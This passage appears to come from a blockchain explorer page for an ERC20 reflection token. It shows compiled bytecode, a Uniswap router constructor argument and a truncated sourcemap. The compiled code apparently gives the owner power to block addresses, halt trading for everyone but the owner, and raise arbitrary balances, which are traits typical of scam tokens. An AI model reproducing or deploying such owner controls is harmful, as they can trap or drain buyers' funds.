19063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161185d9190612551565b60405180910390a3611a14565b6118d681604051806060016040528060268152602001612bc960269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a759092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461114890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a0b9190612551565b60405180910390a35b611a70565b60011515600960009054906101000a900460ff16151514611a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a66906124f1565b60405180910390fd5b5b505050565b6000838311158290611abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab491906123af565b60405180910390fd5b5060008385611acc9190612684565b9050809150509392505050565b6000806000611ae6611c41565b91509150611afd818361105490919063ffffffff16565b9250505090565b60008083118290611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4291906123af565b60405180910390fd5b5060008385611b5a91906125f9565b9050809150509392505050565b6000806000611b946002611b866103e88761105490919063ffffffff16565b611f1090919063ffffffff16565b90506000611bab828661109e90919063ffffffff16565b90508082935093505050915091565b600080600080611bd38588611f1090919063ffffffff16565b90506000611bea8688611f1090919063ffffffff16565b90506000611c01828461109e90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600a549050600068a2a15d09519be00000905060005b600680549050811015611ec557826002600060068481548110611c8257611c81612848565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611d705750816003600060068481548110611d0857611d07612848565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611d8e57600a5468a2a15d09519be0000094509450505050611f0c565b611e1e6002600060068481548110611da957611da8612848565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461109e90919063ffffffff16565b9250611eb06003600060068481548110611e3b57611e3a612848565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361109e90919063ffffffff16565b91508080611ebd90612772565b915050611c5c565b50611ee468a2a15d09519be00000600a5461105490919063ffffffff16565b821015611f0357600a5468a2a15d09519be00000935093505050611f0c565b81819350935050505b9091565b600080831415611f235760009050611f85565b60008284611f31919061262a565b9050828482611f4091906125f9565b14611f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7790612471565b60405180910390fd5b809150505b92915050565b600081359050611f9a81612b83565b92915050565b600081359050611faf81612b9a565b92915050565b600081359050611fc481612bb1565b92915050565b600060208284031215611fe057611fdf612877565b5b6000611fee84828501611f8b565b91505092915050565b6000806040838503121561200e5761200d612877565b5b600061201c85828601611f8b565b925050602061202d85828601611f8b565b9150509250929050565b6000806000606084860312156120505761204f612877565b5b600061205e86828701611f8b565b935050602061206f86828701611f8b565b925050604061208086828701611fb5565b9150509250925092565b600080604083850312156120a1576120a0612877565b5b60006120af85828601611f8b565b92505060206120c085828601611fb5565b9150509250929050565b6000602082840312156120e0576120df612877565b5b60006120ee84828501611fb5565b91505092915050565b6000806040838503121561210e5761210d612877565b5b600061211c85828601611fb5565b925050602061212d85828601611fa0565b9150509250929050565b612140816126b8565b82525050565b61214f816126ca565b82525050565b600061216082612587565b61216a8185612592565b935061217a81856020860161270d565b6121838161287c565b840191505092915050565b600061219b602383612592565b91506121a68261288d565b604082019050919050565b60006121be602a83612592565b91506121c9826128dc565b604082019050919050565b60006121e1602283612592565b91506121ec8261292b565b604082019050919050565b6000612204601b83612592565b915061220f8261297a565b602082019050919050565b6000612227601f83612592565b9150612232826129a3565b602082019050919050565b600061224a602183612592565b9150612255826129cc565b604082019050919050565b600061226d602083612592565b915061227882612a1b565b602082019050919050565b6000612290602983612592565b915061229b82612a44565b604082019050919050565b60006122b3602583612592565b91506122be82612a93565b604082019050919050565b60006122d6600083612592565b91506122e182612ae2565b600082019050919050565b60006122f9602483612592565b915061230482612ae5565b604082019050919050565b600061231c602c83612592565b915061232782612b34565b604082019050919050565b61233b816126f6565b82525050565b61234a81612700565b82525050565b60006020820190506123656000830184612137565b92915050565b60006040820190506123806000830185612137565b61238d6020830184612146565b9392505050565b60006020820190506123a96000830184612146565b92915050565b600060208201905081810360008301526123c98184612155565b905092915050565b600060208201905081810360008301526123ea8161218e565b9050919050565b6000602082019050818103600083015261240a816121b1565b9050919050565b6000602082019050818103600083015261242a816121d4565b9050919050565b6000602082019050818103600083015261244a816121f7565b9050919050565b6000602082019050818103600083015261246a8161221a565b9050919050565b6000602082019050818103600083015261248a8161223d565b9050919050565b600060208201905081810360008301526124aa81612260565b9050919050565b600060208201905081810360008301526124ca81612283565b9050919050565b600060208201905081810360008301526124ea816122a6565b9050919050565b6000602082019050818103600083015261250a816122c9565b9050919050565b6000602082019050818103600083015261252a816122ec565b9050919050565b6000602082019050818103600083015261254a8161230f565b9050919050565b60006020820190506125666000830184612332565b92915050565b60006020820190506125816000830184612341565b92915050565b600081519050919050565b600082825260208201905092915050565b60006125ae826126f6565b91506125b9836126f6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125ee576125ed6127bb565b5b828201905092915050565b6000612604826126f6565b915061260f836126f6565b92508261261f5761261e6127ea565b5b828204905092915050565b6000612635826126f6565b9150612640836126f6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612679576126786127bb565b5b828202905092915050565b600061268f826126f6565b915061269a836126f6565b9250828210156126ad576126ac6127bb565b5b828203905092915050565b60006126c3826126d6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561272b578082015181840152602081019050612710565b8381111561273a576000848401525b50505050565b6000600282049050600182168061275857607f821691505b6020821081141561276c5761276b612819565b5b50919050565b600061277d826126f6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156127b0576127af6127bb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b612b8c816126b8565b8114612b9757600080fd5b50565b612ba3816126ca565b8114612bae57600080fd5b50565b612bba816126f6565b8114612bc557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d9b1cbb12b73f53ffe5a4f7540e83150e1baf2bdb453ad86eeeed93965e3aaca64736f6c63430008060033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
1618:10644:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5779:376;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3692:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2284:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4528:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3969:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4849:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3595:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6605:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3878:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5170:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6163:434;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5673:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3007:299;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4076:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4699:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3783:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5396:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4202:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4377:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3445:138;;;:::i;:::-;;3318:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5779:376;5831:14;5848:12;:10;:12::i;:::-;5831:29;;5880:11;:19;5892:6;5880:19;;;;;;;;;;;;;;;;;;;;;;;;;5879:20;5871:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;5960:15;5983:19;5994:7;5983:10;:19::i;:::-;5959:43;;;;;;6031:28;6051:7;6031;:15;6039:6;6031:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;6013:7;:15;6021:6;6013:15;;;;;;;;;;;;;;;:46;;;;6080:20;6092:7;6080;;:11;;:20;;;;:::i;:::-;6070:7;:30;;;;6124:23;6139:7;6124:10;;:14;;:23;;;;:::i;:::-;6111:10;:36;;;;5820:335;;5779:376;:::o;3692:83::-;3729:13;3762:5;3755:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3692:83;:::o;2284:30::-;;;;;;;;;;;;;:::o;4528:161::-;4603:4;4620:39;4629:12;:10;:12::i;:::-;4643:7;4652:6;4620:8;:39::i;:::-;4677:4;4670:11;;4528:161;;;;:::o;3969:95::-;4022:7;2476:19;4042:14;;3969:95;:::o;4849:313::-;4947:4;4964:36;4974:6;4982:9;4993:6;4964:9;:36::i;:::-;5011:121;5020:6;5028:12;:10;:12::i;:::-;5042:89;5080:6;5042:89;;;;;;;;;;;;;;;;;:11;:19;5054:6;5042:19;;;;;;;;;;;;;;;:33;5062:12;:10;:12::i;:::-;5042:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5011:8;:121::i;:::-;5150:4;5143:11;;4849:313;;;;;:::o;3595:89::-;3642:4;3666:10;;;;;;;;;;;3659:17;;3595:89;:::o;6605:253::-;6671:7;6710;;6699;:18;;6691:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6775:19;6798:10;:8;:10::i;:::-;6775:33;;6826:24;6838:11;6826:7;:11;;:24;;;;:::i;:::-;6819:31;;;6605:253;;;:::o;3878:83::-;3919:5;3944:9;;;;;;;;;;;3937:16;;3878:83;:::o;5170:218::-;5258:4;5275:83;5284:12;:10;:12::i;:::-;5298:7;5307:50;5346:10;5307:11;:25;5319:12;:10;:12::i;:::-;5307:25;;;;;;;;;;;;;;;:34;5333:7;5307:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;5275:8;:83::i;:::-;5376:4;5369:11;;5170:218;;;;:::o;6163:434::-;6253:7;2476:19;6281:7;:18;;6273:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;6351:17;6346:244;;6386:15;6409:19;6420:7;6409:10;:19::i;:::-;6385:43;;;;;;6450:7;6443:14;;;;;6346:244;6492:23;6522:19;6533:7;6522:10;:19::i;:::-;6490:51;;;;;;6563:15;6556:22;;;6163:434;;;;;:::o;5673:94::-;5722:7;5749:10;;5742:17;;5673:94;:::o;3007:299::-;12884:12:1;:10;:12::i;:::-;12874:22;;:6;;;;;;;;;;:22;;;12866:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3114:4:0::1;3086:32;;:12;:24;3099:10;3086:24;;;;;;;;;;;;;;;;;;;;;;;;;:32;;;3082:217;;;3162:5;3135:12;:24;3148:10;3135:24;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;3082:217;;;3213:4;3186:12;:24;3199:10;3186:24;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;3237:48;3248:10;3260:12;:24;3273:10;3260:24;;;;;;;;;;;;;;;;;;;;;;;;;3237:48;;;;;;;:::i;:::-;;;;;;;;3082:217;3007:299:::0;:::o;4076:118::-;4142:7;4170;:16;4178:7;4170:16;;;;;;;;;;;;;;;;4163:23;;4076:118;;;:::o;4699:138::-;12884:12:1;:10;:12::i;:::-;12874:22;;:6;;;;;;;;;;:22;;;12866:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4803:26:0::1;4822:6;4803:7;:14;4811:5;4803:14;;;;;;;;;;;;;;;;:18;;:26;;;;:::i;:::-;4786:7;:14;4794:5;4786:14;;;;;;;;;;;;;;;:43;;;;4699:138:::0;;:::o;3783:87::-;3822:13;3855:7;3848:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3783:87;:::o;5396:269::-;5489:4;5506:129;5515:12;:10;:12::i;:::-;5529:7;5538:96;5577:15;5538:96;;;;;;;;;;;;;;;;;:11;:25;5550:12;:10;:12::i;:::-;5538:25;;;;;;;;;;;;;;;:34;5564:7;5538:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;5506:8;:129::i;:::-;5653:4;5646:11;;5396:269;;;;:::o;4202:167::-;4280:4;4297:42;4307:12;:10;:12::i;:::-;4321:9;4332:6;4297:9;:42::i;:::-;4357:4;4350:11;;4202:167;;;;:::o;4377:143::-;4458:7;4485:11;:18;4497:5;4485:18;;;;;;;;;;;;;;;:27;4504:7;4485:27;;;;;;;;;;;;;;;;4478:34;;4377:143;;;;:::o;3445:138::-;12884:12:1;:10;:12::i;:::-;12874:22;;:6;;;;;;;;;;:22;;;12866:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3523:4:0::1;3509:18;;:10;;;;;;;;;;;:18;;;3505:71;;;3543:5;3530:10;;:18;;;;;;;;;;;;;;;;;;3505:71;;;3570:4;3557:10;;:17;;;;;;;;;;;;;;;;;;3505:71;3445:138::o:0;3318:115::-;3377:4;3401:12;:24;3414:10;3401:24;;;;;;;;;;;;;;;;;;;;;;;;;3394:31;;3318:115;;;:::o;5940:132:1:-;5998:7;6025:39;6029:1;6032;6025:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;6018:46;;5940:132;;;;:::o;4342:136::-;4400:7;4427:43;4431:1;4434;4427:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;4420:50;;4342:136;;;;:::o;602:114::-;655:15;697:10;682:26;;602:114;:::o;10527:411:0:-;10586:7;10595;10604;10613;10622;10643:23;10668:12;10684:20;10696:7;10684:11;:20::i;:::-;10642:62;;;;10715:19;10738:10;:8;:10::i;:::-;10715:33;;10760:15;10777:23;10802:12;10818:39;10830:7;10839:4;10845:11;10818;:39::i;:::-;10759:98;;;;;;10876:7;10885:15;10902:4;10908:15;10925:4;10868:62;;;;;;;;;;;;;;;;10527:411;;;;;;;:::o;3957:179:1:-;4015:7;4035:9;4051:1;4047;:5;;;;:::i;:::-;4035:17;;4076:1;4071;:6;;4063:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4127:1;4120:8;;;3957:179;;;;:::o;6866:335:0:-;6976:1;6959:19;;:5;:19;;;;6951:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7057:1;7038:21;;:7;:21;;;;7030:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7139:6;7109:11;:18;7121:5;7109:18;;;;;;;;;;;;;;;:27;7128:7;7109:27;;;;;;;;;;;;;;;:36;;;;7177:7;7161:32;;7170:5;7161:32;;;7186:6;7161:32;;;;;;:::i;:::-;;;;;;;;6866:335;;;:::o;7213:1044::-;7328:1;7310:20;;:6;:20;;;;7302:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;7412:1;7391:23;;:9;:23;;;;7383:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7482:1;7473:6;:10;7465:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7544:12;:20;7557:6;7544:20;;;;;;;;;;;;;;;;;;;;;;;;;:47;;;;7568:12;:23;7581:9;7568:23;;;;;;;;;;;;;;;;;;;;;;;;;7544:47;7540:78;;;7612:1;7602:6;:11;7593:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;7540:78;7647:4;7633:18;;:10;;;;;;;;;;;:18;;;:39;;;;7665:7;:5;:7::i;:::-;7655:17;;:6;:17;;;7633:39;:63;;;;7689:7;:5;:7::i;:::-;7676:20;;:9;:20;;;7633:63;7629:621;;;7713:11;:19;7725:6;7713:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;7737:11;:22;7749:9;7737:22;;;;;;;;;;;;;;;;;;;;;;;;;7736:23;7713:46;7709:489;;;7790:69;7810:6;7790:69;;;;;;;;;;;;;;;;;:7;:15;7798:6;7790:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;7772:7;:15;7780:6;7772:15;;;;;;;;;;;;;;;:87;;;;7891:30;7914:6;7891:7;:18;7899:9;7891:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;7870:7;:18;7878:9;7870:18;;;;;;;;;;;;;;;:51;;;;7954:9;7937:35;;7946:6;7937:35;;;7965:6;7937:35;;;;;;:::i;:::-;;;;;;;;7709:489;;;8014:69;8034:6;8014:69;;;;;;;;;;;;;;;;;:7;:15;8022:6;8014:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;7996:7;:15;8004:6;7996:15;;;;;;;;;;;;;;;:87;;;;8115:30;8138:6;8115:7;:18;8123:9;8115:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;8094:7;:18;8102:9;8094:18;;;;;;;;;;;;;;;:51;;;;8178:9;8161:35;;8170:6;8161:35;;;8189:6;8161:35;;;;;;:::i;:::-;;;;;;;;7709:489;7629:621;;;8239:4;8225:18;;:10;;;;;;;;;;;:18;;;8216:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;7629:621;7213:1044;;;:::o;4704:190:1:-;4790:7;4823:1;4818;:6;;4826:12;4810:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4850:9;4866:1;4862;:5;;;;:::i;:::-;4850:17;;4885:1;4878:8;;;4704:190;;;;;:::o;11527:163:0:-;11568:7;11589:15;11606;11625:19;:17;:19::i;:::-;11588:56;;;;11662:20;11674:7;11662;:11;;:20;;;;:::i;:::-;11655:27;;;;11527:163;:::o;6492:276:1:-;6578:7;6610:1;6606;:5;6613:12;6598:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;6637:9;6653:1;6649;:5;;;;:::i;:::-;6637:17;;6759:1;6752:8;;;6492:276;;;;;:::o;10946:231:0:-;11006:7;11015;11035:12;11050:24;11072:1;11050:17;11062:4;11050:7;:11;;:17;;;;:::i;:::-;:21;;:24;;;;:::i;:::-;11035:39;;11085:23;11111:17;11123:4;11111:7;:11;;:17;;;;:::i;:::-;11085:43;;11147:15;11164:4;11139:30;;;;;;10946:231;;;:::o;11185:334::-;11280:7;11289;11298;11318:15;11336:24;11348:11;11336:7;:11;;:24;;;;:::i;:::-;11318:42;;11371:12;11386:21;11395:11;11386:4;:8;;:21;;;;:::i;:::-;11371:36;;11418:23;11444:17;11456:4;11444:7;:11;;:17;;;;:::i;:::-;11418:43;;11480:7;11489:15;11506:4;11472:39;;;;;;;;;11185:334;;;;;;;:::o;13050:81:1:-;13090:7;13117:6;;;;;;;;;;;13110:13;;13050:81;:::o;11698:561:0:-;11748:7;11757;11777:15;11795:7;;11777:25;;11813:15;2476:19;11813:25;;11860:9;11855:289;11879:9;:16;;;;11875:1;:20;11855:289;;;11945:7;11921;:21;11929:9;11939:1;11929:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11921:21;;;;;;;;;;;;;;;;:31;:66;;;;11980:7;11956;:21;11964:9;11974:1;11964:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11956:21;;;;;;;;;;;;;;;;:31;11921:66;11917:97;;;11997:7;;2476:19;11989:25;;;;;;;;;11917:97;12039:34;12051:7;:21;12059:9;12069:1;12059:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12051:21;;;;;;;;;;;;;;;;12039:7;:11;;:34;;;;:::i;:::-;12029:44;;12098:34;12110:7;:21;12118:9;12128:1;12118:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12110:21;;;;;;;;;;;;;;;;12098:7;:11;;:34;;;;:::i;:::-;12088:44;;11897:3;;;;;:::i;:::-;;;;11855:289;;;;12168:20;2476:19;12168:7;;:11;;:20;;;;:::i;:::-;12158:7;:30;12154:61;;;12198:7;;2476:19;12190:25;;;;;;;;12154:61;12234:7;12243;12226:25;;;;;;11698:561;;;:::o;5073:467:1:-;5131:7;5381:1;5376;:6;5372:47;;;5406:1;5399:8;;;;5372:47;5429:9;5445:1;5441;:5;;;;:::i;:::-;5429:17;;5474:1;5469;5465;:5;;;;:::i;:::-;:10;5457:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;5531:1;5524:8;;;5073:467;;;;;:::o;7:139:2:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:133::-;195:5;233:6;220:20;211:29;;249:30;273:5;249:30;:::i;:::-;201:84;;;;:::o;291:139::-;337:5;375:6;362:20;353:29;;391:33;418:5;391:33;:::i;:::-;343:87;;;;:::o;436:329::-;495:6;544:2;532:9;523:7;519:23;515:32;512:2;;;550:79;;:::i;:::-;512:2;670:1;695:53;740:7;731:6;720:9;716:22;695:53;:::i;:::-;685:63;;641:117;502:263;;;;:::o;771:474::-;839:6;847;896:2;884:9;875:7;871:23;867:32;864:2;;;902:79;;:::i;:::-;864:2;1022:1;1047:53;1092:7;1083:6;1072:9;1068:22;1047:53;:::i;:::-;1037:63;;993:117;1149:2;1175:53;1220:7;1211:6;1200:9;1196:22;1175:53;:::i;:::-;1165:63;;1120:118;854:391;;;;;:::o;1251:619::-;1328:6;1336;1344;1393:2;1381:9;1372:7;1368:23;1364:32;1361:2;;;1399:79;;:::i;:::-;1361:2;1519:1;1544:53;1589:7;1580:6;1569:9;1565:22;1544:53;:::i;:::-;1534:63;;1490:117;1646:2;1672:53;1717:7;1708:6;1697:9;1693:22;1672:53;:::i;:::-;1662:63;;1617:118;1774:2;1800:53;1845:7;1836:6;1825:9;1821:22;1800:53;:::i;:::-;1790:63;;1745:118;1351:519;;;;;:::o;1876:474::-;1944:6;1952;2001:2;1989:9;1980:7;1976:23;1972:32;1969:2;;;2007:79;;:::i;:::-;1969:2;2127:1;2152:53;2197:7;2188:6;2177:9;2173:22;2152:53;:::i;:::-;2142:63;;2098:117;2254:2;2280:53;2325:7;2316:6;2305:9;2301:22;2280:53;:::i;:::-;2270:63;;2225:118;1959:391;;;;;:::o;2356:329::-;2415:6;2464:2;2452:9;2443:7;2439:23;2435:32;2432:2;;;2470:79;;:::i;:::-;2432:2;2590:1;2615:53;2660:7;2651:6;2640:9;2636:22;2615:53;:::i;:::-;2605:63;;2561:117;2422:263;;;;:::o;2691:468::-;2756:6;2764;2813:2;2801:9;2792:7;2788:23;2784:32;2781:2;;;2819:79;;:::i;:::-;2781:2;2939:1;2964:53;3009:7;3000:6;2989:9;2985:22;2964:53;:::i;:::-;2954:63;;2910:117;3066:2;3092:50;3134:7;3125:6;3114:9;3110:22;3092:50;:::i;:::-;3082:60;;3037:115;2771:388;;;;;:::o;3165:118::-;3252:24;3270:5;3252:24;:::i;:::-;3247:3;3240:37;3230:53;;:::o;3289:109::-;3370:21;3385:5;3370:21;:::i;:::-;3365:3;3358:34;3348:50;;:::o;3404:364::-;3492:3;3520:39;3553:5;3520:39;:::i;:::-;3575:71;3639:6;3634:3;3575:71;:::i;:::-;3568:78;;3655:52;3700:6;3695:3;3688:4;3681:5;3677:16;3655:52;:::i;:::-;3732:29;3754:6;3732:29;:::i;:::-;3727:3;3723:39;3716:46;;3496:272;;;;;:::o;3774:366::-;3916:3;3937:67;4001:2;3996:3;3937:67;:::i;:::-;3930:74;;4013:93;4102:3;4013:93;:::i;:::-;4131:2;4126:3;4122:12;4115:19;;3920:220;;;:::o;4146:366::-;4288:3;4309:67;4373:2;4368:3;4309:67;:::i;:::-;4302:74;;4385:93;4474:3;4385:93;:::i;:::-;4503:2;4498:3;4494:12;4487:19;;4292:220;;;:::o;4518:366::-;4660:3;4681:67;4745:2;4740:3;4681:67;:::i;:::-;4674:74;;4757:93;4846:3;4757:93;:::i;:::-;4875:2;4870:3;4866:12;4859:19;;4664:220;;;:::o;4890:366::-;5032:3;5053:67;5117:2;5112:3;5053:67;:::i;:::-;5046:74;;5129:93;5218:3;5129:93;:::i;:::-;5247:2;5242:3;5238:12;5231:19;;5036:220;;;:::o;5262:366::-;5404:3;5425:67;5489:2;5484:3;5425:67;:::i;:::-;5418:74;;5501:93;5590:3;5501:93;:::i;:::-;5619:2;5614:3;5610:12;5603:19;;5408:220;;;:::o;5634:366::-;5776:3;5797:67;5861:2;5856:3;5797:67;:::i;:::-;5790:74;;5873:93;5962:3;5873:93;:::i;:::-;5991:2;5986:3;5982:12;5975:19;;5780:220;;;:::o;6006:366::-;6148:3;6169:67;6233:2;6228:3;6169:67;:::i;:::-;6162:74;;6245:93;6334:3;6245:93;:::i;:::-;6363:2;6358:3;6354:12;6347:19;;6152:220;;;:::o;6378:366::-;6520:3;6541:67;6605:2;6600:3;6541:67;:::i;:::-;6534:74;;6617:93;6706:3;6617:93;:::i;:::-;6735:2;6730:3;6726:12;6719:19;;6524:220;;;:::o;6750:366::-;6892:3;6913:67;6977:2;6972:3;6913:67;:::i;:::-;6906:74;;6989:93;7078:3;6989:93;:::i;:::-;7107:2;7102:3;7098:12;7091:19;;6896:220;;;:::o;7122:364::-;7264:3;7285:66;7349:1;7344:3;7285:66;:::i;:::-;7278:73;;7360:93;7449:3;7360:93;:::i;:::-;7478:1;7473:3;7469:11;7462:18;;7268:218;;;:::o;7492:366::-;7634:3;7655:67;7719:2;7714:3;7655:67;:::i;:::-;7648:74;;7731:93;7820:3;7731:93;:::i;:::-;7849:2;7844:3;7840:12;7833:19;;7638:220;;;:::o;7864:366::-;8006:3;8027:67;8091:2;8086:3;8027:67;:::i;:::-;8020:74;;8103:93;8192:3;8103:93;:::i;:::-;8221:2;8216:3;8212:12;8205:19;;8010: